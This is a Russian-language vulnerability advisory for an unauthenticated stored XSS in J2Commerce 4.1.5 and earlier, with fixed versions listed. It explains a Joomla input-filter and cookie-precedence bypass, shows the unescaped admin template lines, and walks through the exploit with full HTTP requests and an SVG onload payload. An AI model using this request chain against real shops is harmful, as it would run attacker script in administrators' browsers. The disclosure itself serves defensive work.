
Хранимый XSS в J2Commerce Guest Checkout через обход cookie-фильтра
J2Commerce (com_j2store) ≤ 4.1.5 — неаутентифицированный злоумышленник сохраняет XSS-пейлоад, который автоматически выполняется в браузере администратора при загрузке страницы
J2Commerce 4.1.5 подвержен хранимому межсайтовому скриптингу (XSS) через поля платёжного адреса при гостевом оформлении заказа. Неаутентифицированный злоумышленник использует обход фильтра в Input::getArray() Joomla в сочетании с variables_order=EGPCS в PHP (Cookie переопределяет POST в $_REQUEST), чтобы сохранить неочищенный HTML в таких полях, как billing_first_name. Эти поля выводятся напрямую в панели управления заказами администратора без , из-за чего пейлоад выполняется в браузере администратора.
htmlspecialchars()XSS-пейлоад срабатывает автоматически при загрузке страницы, когда администратор переходит к списку заказов — клик по отдельному заказу не требуется. Цепочка из одного набора HTTP-запросов (добавление в корзину → отправка оформления заказа с cookie-обходом → размещение заказа) навсегда сохраняет пейлоад, который будет выполняться в браузере каждого администратора, пока заказ не будет удалён или уязвимость не исправлена.
Атака не требует аутентификации злоумышленника. Гостевое оформление заказа — стандартная, часто включённая функция интернет-магазинов, создающая у администраторов экономический стимул просматривать новые заказы, — что делает эксплуатацию тривиальной для применения в реальных атаках.
| КОМПОНЕНТ | УЯЗВИМЫЕ ВЕРСИИ | ПРОТЕСТИРОВАНО НА | ИСПРАВЛЕНО В |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 на Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
Тип: межсайтовый скриптинг — хранимый (CWE-79)
Требуется аутентификация: нет — неаутентифицированный доступ (гостевое оформление)
Основной сток: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
Путь записи: components/com_j2store/controllers/checkouts.php:535
Уязвимость складывается из двух усиливающих друг друга слабостей: обхода входного фильтра на пути записи и отсутствия кодирования вывода на пути чтения.
1. Обход входного фильтра — неправильное использование Input::getArray() в Joomla
Контроллер гостевого оформления заказа J2Commerce читает поля адреса с помощью $app->input->getArray($_POST). Реализация Joomla перебирает массив $_POST и использует каждое значение как тип фильтра (а не как данные), при этом фактическое значение читается из $_REQUEST:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — ПУТЬ ЗАПИСИ
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — МЕТОД GETARRAY() (СТРОКА 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — ИСТОЧНИК ДАННЫХ (СТРОКА 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP variables_order — Cookie переопределяет POST в $_REQUEST
Суперглобальный массив $_REQUEST в PHP формируется объединением $_GET, $_POST и $_COOKIE. Когда variables_order=EGPCS (значение по умолчанию, встроенное в большинство окружений PHP), Cookie (C) указаны после POST (P), поэтому при конфликте ключей побеждает Cookie.
Отправка first_name=RAW в теле POST заставляет InputFilter::clean() в Joomla применить тип фильтра 'Raw' (no-op) к значению cookie first_name=<svg...>, которое побеждает в $_REQUEST.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — МЕТОД CLEAN() (СТРОКА 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
Итог: тело POST first_name=RAW устанавливает фильтр в режим no-op. Cookie first_name=<svg onload="alert(document.domain)"> побеждает в $_REQUEST. Joomla возвращает значение cookie без фильтрации. J2Commerce сохраняет его как есть в j2store_orderinfos.billing_first_name.
3. Отсутствие кодирования вывода — стоки в шаблонах администратора
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — ОСНОВНОЙ СТОК (срабатывает при загрузке страницы списка)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — ВТОРИЧНЫЙ СТОК
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
Этот обход работает во всех окружениях PHP, кроме Debian/Ubuntu (где явно задано request_order = "GP", исключающее cookies из $_REQUEST). Все остальные популярные хостинговые окружения — общий хостинг cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — используют значение по умолчанию EGPCS, поэтому переопределение через Cookie активно сразу из коробки, без каких-либо изменений конфигурации.
Откройте список заказов J2Commerce в панели администратора от имени администратора-жертвы. Это подтверждает, что администратор активно использует панель и встретит пейлоад при следующем посещении.

Будучи неаутентифицированным злоумышленником, отправьте GET-запрос на главную страницу витрины J2Commerce, чтобы установить сессию и извлечь CSRF-токен, встроенный в JSON-параметры страницы. Этот токен требуется для последующих POST-запросов.

Добавьте товар в корзину злоумышленника. Корзина должна быть непустой, чтобы конечная точка гостевого оформления заказа приняла отправку адреса.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

Отправьте форму адреса гостевого оформления с двумя конфликтующими значениями first_name:
first_name=RAW — Joomla интерпретирует это как тип фильтра (no-op)first_name=<svg...> — это значение побеждает в $_REQUEST (PHP EGPCS: Cookie > POST) и возвращается без фильтрацииPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

Отправьте шаг адреса доставки, используя тот же cookie-обход. Этот шаг сохраняет страну доставки в сессии — если его пропустить, на последующих шагах возникнет ошибка "SHIPPING_ADDRESS_NOT_FOUND".

Выберите способ оплаты (наложенный платёж). Поле payment_plugin не является текстовым полем, подверженным XSS.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

Отправьте шаг подтверждения, чтобы получить страницу сводки заказа, содержащую скрытое поле hash. Этот хеш требуется для завершения заказа.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

Завершите заказ, используя хеш из предыдущего шага. Сервер создаёт запись заказа в joom_j2store_orderinfos с billing_first_name, установленным в необработанный XSS-пейлоад.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

Перейдите к списку заказов J2Commerce от имени администратора-жертвы. XSS-пейлоад срабатывает немедленно при загрузке страницы — клик не требуется. Шаблон default_items.php:73 выводит billing_first_name без экранирования в столбце «Клиент».
Когда администратор просматривает заказ, ответ сервера включает:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
